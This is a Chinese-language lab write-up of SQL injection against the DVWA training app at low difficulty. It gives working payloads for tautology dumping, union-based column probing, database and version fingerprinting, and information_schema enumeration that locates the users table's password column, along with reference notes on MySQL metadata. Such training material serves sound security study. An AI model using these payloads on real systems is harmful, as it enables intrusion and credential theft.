SQL注入(1)
目录
SQL注入 1
目录 1
1 注入思路 1
2 DVWA SQL injectiong 1
2.1 LOW LEVEL(低难度) 1
2.2 探查SQL注入 1
2.2.1 字符串数据 1
2.2.1.1 方法1:输入单引号会导致错误;输入双引号没有异常(因为’’是单引号的转义形式)说明此处 极有可能存在输入为字符串类型的SQL注入。 1
2.2.1.2 方法2:利用逻辑运算 1
2.3 输入为字符串类型的SQL 拖库 1
2.4 探明查询结构 1
2.4.1 方法1:利用order by子句 1
2.4.2 方法2:利用union 子句探查列数 1
2.4.2.1 利用NULL可以转换为任何类型查明列数 1
2.4.2.2 利用数字可以默认转为字符串,查明列数同时探查 字段的显示顺序 1
2.4.3 探明查询字段中哪些是字符串 1
2.4.4 注释:说明 1
2.5 查明当前数据库类型和版本 1
2.5.1 :利用字符串的拼接方式探查数据库类型 1
2.5.2 获取版本号 1
2.5.3 探查当前数据库使用的版本 很少用 1
2.5.3.1 知识补充:MySQL版本号 1
2.6 获取数据库的表及其列 1
2.6.1 获取数据库的名称 1
2.6.2 获取表和列的名称 1
2.6.3 知识补充:information_schema.columns information_schema.tables 1
2.6.3.1 DATABASE()函数 1
2.6.3.2 CURRENT_USER()函数 1
2.6.3.3 information_schema.columns 1
2.6.3.4 information_schema.tables 1
2.7 根据2.6中表和列名称获取敏感数据 1
3 尾页 1
1 注入思路
2 DVWA SQL injectiong
现在是2019.10.27 用的是最新的DVWA
2.1 LOW LEVEL(低难度)
配置难度
2.2 探查SQL注入
2.2.1 字符串数据
2.2.1.1 方法1:输入单引号会导致错误;输入双引号没有异常(因为’’是单引号的转义形式)说明此处 极有可能存在输入为字符串类型的SQL注入。
单引号:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’’’ at line 1
双引号:没有引起异常
2.2.1.2 方法2:利用逻辑运算
正常情况下:输入1,结果如下:
输入 1’ and ‘1’=’1 结果正常如下:
输入 1’ and ‘1’=’2 结果如下,提交数据后结果为空
说明用户输入可以改变sql语句的执行逻辑,存在sql注入风险。
2.3 输入为字符串类型的SQL 拖库
此处为查询操作,攻击思路:where子句控制着查询的范围,攻击着可以利用 注释符号 将查询语句截断,或者 or语句是使查询结果始终为ture。
方法1:利用注释符号,绕过密码验证,此处不涉及
方法2:利用OR语句使where子句结果始终为True。
此处输入:1’ or ‘1’='1 ,成功脱裤
输入 ‘ or ‘1’=’1 ,结果如下:
输入 ‘ or ‘1’=’1 ,结果如下:
此处的诀窍在于两点:1.闭合前后的单引号; 2.插入or语句,使where始终为true。
2.4 探明查询结构
2.4.1 方法1:利用order by子句
输入1’ order by 1# 【#是注释,注释掉sql语句剩余的部分】,使结果按照第一列排序:
输入1’ order by 2# 【#是注释】,使结果按照第2列排序:
输入1’ order by 3# 【#是注释】,使结果按照第3列排序
2成功,3失败,说明SQL查询中有2个查询字段。即这里的First name、Surname。(这里也可以通过输入union select 1,2,3…来猜解字段数)
2.4.2 方法2:利用union 子句探查列数
联合查询列数和类型要一致,NULL可以转为任何类型;当对应列为字符串类型时,此处数字会自动转为字符串类型
2.4.2.1 利用NULL可以转换为任何类型查明列数
输入 1’ union select NULL# ,
输入 1’ union select NULL,NULL# ,可以知道查询有两列
NULL的个数,即为查询中列的个数,此处有两列。
2.4.2.2 利用数字可以默认转为字符串,查明列数同时探查 字段的显示顺序
输入 1’ union select 1# ,
输入 1’ union select 1#,
说明查询有2列,第1列对应First name,第2列对应Surname。
2.4.3 探明查询字段中哪些是字符串
为什么要查询查询字段中某些字段是否是字符串?因为在注入子查询时需要将查询结果以字符串的形式返回。
说明SQL查询中的第一个字段是字符串类型。
2. 输入1’ union select NULL,‘a’# ,
说明查询的第二个字段是字符串类型。
2.4.4 注释:说明
注释也可以用“-- ”代替#,注意:双横线后面要有空格,否则会报错。
如下,输入【双横线后有空格】 1’ union select NULL,‘a’–
2.5 查明当前数据库类型和版本
2.5.1 :利用字符串的拼接方式探查数据库类型
【仅针对字符串类型】
Oracle: ‘serv’||‘ices’
MS-SQL: ‘serv’+‘ices’
MySql: ‘serv’ ‘ices’ 【中间有空格】
输入 1’ union select NULL,‘a’ ‘b’-- ,结果如下【探查是否是Oracle】:
输入 1’ union select NULL,‘a’+‘b’-- ,结果如下【探查是否是MS-SQL】:
3.输入 1’ union select NULL,‘a’ ‘b’-- ,结果如下【探查是否是MySql】:
从现实结果看,此处使用的MySql数据库。
2.5.2 获取版本号
输入 1’ UNION SELECT @@version,NULL-- ,结果如下:
MariaDB数据库管理系统是MySQL的一个分支,主要由开源社区在维护,采用GPL授权许可 MariaDB的目的是完全兼容MySQL,包括API和命令行,使之能轻松成为MySQL的代替品
2.5.3 探查当前数据库使用的版本 很少用
原理:利用行内注释,如果注释以感叹号开头,接着数据库版本字符串,如果数据库版本等于或者高于实际版本,应用程序将此行内注释解释为SQL,否则会忽略注释内容。
/!32302 and 1=0/
如果MySQL实际版本高于或等于3.23.02,会使where子句为false,结果为空,说明版本号等于或者高于实际版本
如果结果不为空,则版本号低于实际版本
待补充
2.5.3.1 知识补充:MySQL版本号
MySQL 的命名机制由 3 个数字和 1 个后缀组成,例如 mysql-5.7.20:
• 第 1 个数字“5”是主版本号,用于描述文件的格式,所有版本 5 的发行版都有相同的文件夹格式。
• 第 2 个数字“7”是发行级别,主版本号和发行级别组合在一起便构成了发行序列号。
• 第 3 个数字“20”是在此发行系列的版本号,随每次新发行的版本递增。通常选择已经发行的最新版本。
2.6 获取数据库的表及其列
前面已经获取存在sql注入漏洞的查询的列数和那些列是字符串类型,下面获取数据库中标的结构和对应的列。
原理:利用sql注入查询元数据表:infomation_schema.columns【该表包含所有的表和列的名称】获取表名和列名称。
2.6.1 获取数据库的名称
输入 1’ union select NULL,database()# ,输出如下:
数据库的名成是:dvwa
2.6.2 获取表和列的名称
1.输入:1’ union select table_name,column_name from information_schema.columns where table_schema=database()# ,失败
2.输入1’ union select table_name,column_name from information_schema.columns where table_schema=‘dvwa’# ,结果如下
ID: 1’ union select table_name,column_name from information_schema.columns where table_schema=0x64767761#
First name: guestbook
Surname: comment_id
ID: 1’ union select table_name,column_name from information_schema.columns where table_schema=0x64767761#
First name: guestbook
Surname: comment
ID: 1’ union select table_name,column_name from information_schema.columns where table_schema=0x64767761#
First name: guestbook
Surname: name
ID: 1’ union select table_name,column_name from information_schema.columns where table_schema=0x64767761#
First name: users
Surname: user_id
ID: 1’ union select table_name,column_name from information_schema.columns where table_schema=0x64767761#
First name: users
Surname: first_name
ID: 1’ union select table_name,column_name from information_schema.columns where table_schema=0x64767761#
First name: users
Surname: last_name
ID: 1’ union select table_name,column_name from information_schema.columns where table_schema=0x64767761#
First name: users
Surname: user
ID: 1’ union select table_name,column_name from information_schema.columns where table_schema=0x64767761#
First name: users
Surname: password
ID: 1’ union select table_name,column_name from information_schema.columns where table_schema=0x64767761#
First name: users
Surname: avatar
ID: 1’ union select table_name,column_name from information_schema.columns where table_schema=0x64767761#
First name: users
Surname: last_login
ID: 1’ union select table_name,column_name from information_schema.columns where table_schema=0x64767761#
First name: users
Surname: failed_login
敏感数据保存在 users表的 user列和password列中。
2.6.3 知识补充:information_schema.columns information_schema.tables
2.6.3.1 DATABASE()函数
MySQL中的DATABASE()函数返回默认或当前数据库的名称。DATABASE()函数返回的字符串或名称使用utf8字符集。如果没有默认数据库,则Database函数返回NULL。
在比MySQL 4.1.1更旧的版本中,如果没有默认数据库,则数据库函数用于返回空字符串。
语法 :
1 SELECT DATABASE();
DATABASE()函数易于使用,不接受任何参数。我们可以使用MySQL控制台上的上述语法轻松获取默认数据库的名称。
示例:
让我们考虑默认数据库的名称是“Employees”。因此,要知道默认数据库的名称,可以通过以下方式执行数据库功能:
输出:
1 ‘Employees’
2.6.3.2 CURRENT_USER()函数
MySQL中的CURRENT_USER()函数用于返回MySQL帐户的用户名和主机名,服务器使用该帐户对当前客户端进行身份验证。
从MySQL 4.1。开始,CURRENT_USER()函数使用utf8字符集。
语法:
1 SELECT CURRENT_USER();
CURRENT_USER()函数也不接受任何参数。
示例:
让我们考虑服务器用于验证当前客户端的MySQL帐户的用户名是“root”,主机名是“localhost”。因此,要知道服务器用于验证当前客户端的MySQL帐户的用户名和主机名,可以通过以下方式执行CURRENT_USER()函数:
输出:
1 ‘root@localhost’
2.6.3.3 information_schema.columns
每一个表中的每一列都会在information_schema.columns表中对应一行
1、informaiton_schema.columns 常用列:
1、table_catalog :不管是table | view 这个列的值总是def
2、table_schema :表 | 视图所在的数据库名
3、table_name :表名 | 视图名
4、column_name :列名
5、column_default :列的默认值
6、is_nullable :是否可以取空值
7、data_type :列的数据类型
8、character_maximum_length :列的最大长度(这列只有在数据类型为char | varchar 时才有意义)
9、column_type :列类型这个类型比data_type列所指定的更加详细,如data_type 是int 而column_type 就有可以能是int(11)
10、column_key :列上的索引类型 主键–>PRI | 唯一索引 -->UNI 一般索引 -->MUL
查看tempdb 库中的列信息
select table_schema,table_name,column_name,column_type,column_default,is_nullable,column_key
from information_schema.columns
where table_schema=‘tempdb’;
±-------------±-----------±------------±------------±---------------±------------±-----------+
| table_schema | table_name | column_name | column_type | column_default | is_nullable | column_key |
±-------------±-----------±------------±------------±---------------±------------±-----------+
| tempdb | t | x | int(11) | NULL | NO | PRI |
| tempdb | t | y | varchar(32) | hello world… | NO | MUL |
| tempdb | t2 | id | int(11) | NULL | NO | PRI |
2.6.3.4 information_schema.tables
information_schema.tables同样的方式查看表的属性
字段 含义
Table_catalog 数据表登记目录
Table_schema 数据表所属的数据库名
Table_name 表名称
Table_type 表类型[system view|base table]
Engine 使用的数据库引擎[MyISAM|CSV|InnoDB]
Version 版本,默认值10
Row_format 行格式[Compact|Dynamic|Fixed]
Table_rows 表里所存多少行数据
Avg_row_length 平均行长度
Data_length 数据长度
Max_data_length 最大数据长度
Index_length 索引长度
Data_free 空间碎片
Auto_increment 做自增主键的自动增量当前值
Create_time 表的创建时间
Update_time 表的更新时间
Check_time 表的检查时间
Table_collation 表的字符校验编码集
Checksum 校验和
Create_options 创建选项
Table_comment 表的注释、备注
————————————————
版权声明:本文为CSDN博主「小墨晴」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/gaowei_132/article/details/55050380
2.7 根据2.6中表和列名称获取敏感数据
敏感数据保存在 users表的 user列和password列中。
3 尾页